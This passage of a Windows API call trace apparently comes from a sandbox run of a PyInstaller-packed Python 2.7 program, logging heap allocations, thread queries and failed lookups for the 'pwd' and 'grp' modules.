Size=0x10) returned 0x2a180a0 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.469] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a717c0 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x333) returned 0x2bb8f18 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9fa8 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.469] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a718c0 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba8d8 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.470] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71840 [0073.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2abaa60 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0ba8 [0073.470] GetLastError () returned 0x0 [0073.470] CloseHandle (hObject=0x1e8) returned 1 [0073.470] GetLastError () returned 0x0 [0073.470] GetCurrentThreadId () returned 0x9b0 [0073.470] GetLastError () returned 0x0 [0073.470] GetCurrentThreadId () returned 0x9b0 [0073.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.470] GetCurrentThreadId () returned 0x9b0 [0073.470] GetCurrentThreadId () returned 0x9b0 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.470] GetCurrentThreadId () returned 0x9b0 [0073.471] GetCurrentThreadId () returned 0x9b0 [0073.471] GetCurrentThreadId () returned 0x9b0 [0073.471] GetCurrentThreadId () returned 0x9b0 [0073.471] GetCurrentThreadId () returned 0x9b0 [0073.471] GetCurrentThreadId () returned 0x9b0 [0073.471] GetCurrentThreadId () returned 0x9b0 [0073.471] GetLastError () returned 0x0 [0073.471] RegQueryValueA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\pwd", lpData=0x2a1a8e8, lpcbData=0x9ba18c | out: lpData="", lpcbData=0x9ba18c) returned 0x2 [0073.471] RegQueryValueA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\pwd", lpData=0x2a1a8e8, lpcbData=0x9ba18c | out: lpData="", lpcbData=0x9ba18c) returned 0x2 [0073.471] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pwd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pwd")) returned 0xffffffff [0073.471] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pwd.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pwd.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.471] GetLastError () returned 0x2 [0073.471] GetLastError () returned 0x2 [0073.471] GetLastError () returned 0x2 [0073.471] GetLastError () returned 0x2 [0073.471] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pwd.py" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pwd.py"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.471] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pwd.pyw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pwd.pyw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pwd.pyc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pwd.pyc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] GetLastError () returned 0x2 [0073.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.472] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.472] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.472] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.472] GetCurrentThreadId () returned 0x9b0 [0073.473] GetLastError () returned 0x2 [0073.473] RegQueryValueA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\grp", lpData=0x2a1ad48, lpcbData=0x9ba18c | out: lpData="", lpcbData=0x9ba18c) returned 0x2 [0073.473] RegQueryValueA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\grp", lpData=0x2a1ad48, lpcbData=0x9ba18c | out: lpData="", lpcbData=0x9ba18c) returned 0x2 [0073.473] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\grp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\grp")) returned 0xffffffff [0073.473] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\grp.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\grp.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.473] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\grp.py" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\grp.py"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.473] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\grp.pyw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\grp.pyw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.473] GetLastError () returned 0x2 [0073.474] GetLastError () returned 0x2 [0073.474] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\grp.pyc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\grp.pyc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba068, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.474] GetLastError () returned 0x2 [0073.474] GetLastError () returned 0x2 [0073.474] GetLastError () returned 0x2 [0073.474] GetLastError () returned 0x2 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.474] GetCurrentThreadId () returned 0x9b0 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x44) returned 0x2bae918 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f920 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.474] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71700 [0073.474] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71700, Size=0x24) returned 0x2a20198 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20198 | out: hHeap=0x2ad0000) returned 1 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f948 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.475] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71620 [0073.475] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71620, Size=0x24) returned 0x2a20168 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20168 | out: hHeap=0x2ad0000) returned 1 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.475] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71620 [0073.475] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71620, Size=0x24) returned 0x2a1ffe8 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0073.475] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc38, Size=0x20) returned 0x2a1fc38 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a245a0 [0073.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aba750 | out: hHeap=0x2ad0000) returned 1 [0073.475] GetCurrentThreadId () returned 0x9b0 [0073.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.476] GetCurrentThreadId () returned 0x9b0 [0073.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bae5c8 | out: hHeap=0x2ad0000) returned 1 [0073.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.476] GetCurrentThreadId () returned 0x9b0 [0073.476] GetCurrentThreadId () returned 0x9b0 [0073.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.476] GetCurrentThreadId () returned 0x9b0 [0073.476] GetCurrentThreadId () returned 0x9b0 [0073.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.476] GetCurrentThreadId () returned 0x9b0 [0073.476] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0400 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71840 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0073.477] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a716e0 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718c0 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae60 [0073.477] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71680 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2bae5c8 [0073.478] GetCurrentThreadId () returned 0x9b0 [0073.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.478] GetCurrentThreadId () returned 0x9b0 [0073.478] GetCurrentThreadId () returned 0x9b0 [0073.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.478] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.478] GetCurrentThreadId () returned 0x9b0 [0073.478] GetCurrentThreadId () returned 0x9b0 [0073.478] GetCurrentThreadId () returned 0x9b0 [0073.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.478] GetCurrentThreadId () returned 0x9b0 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x333) returned 0x2bb9258 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a702e8 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0073.479] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71660 [0073.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0073.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba750 [0073.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0073.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a717a0 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b9f0 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b625d8 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.480] GetCurrentThreadId () returned 0x9b0 [0073.480] GetCurrentThreadId () returned 0x9b0 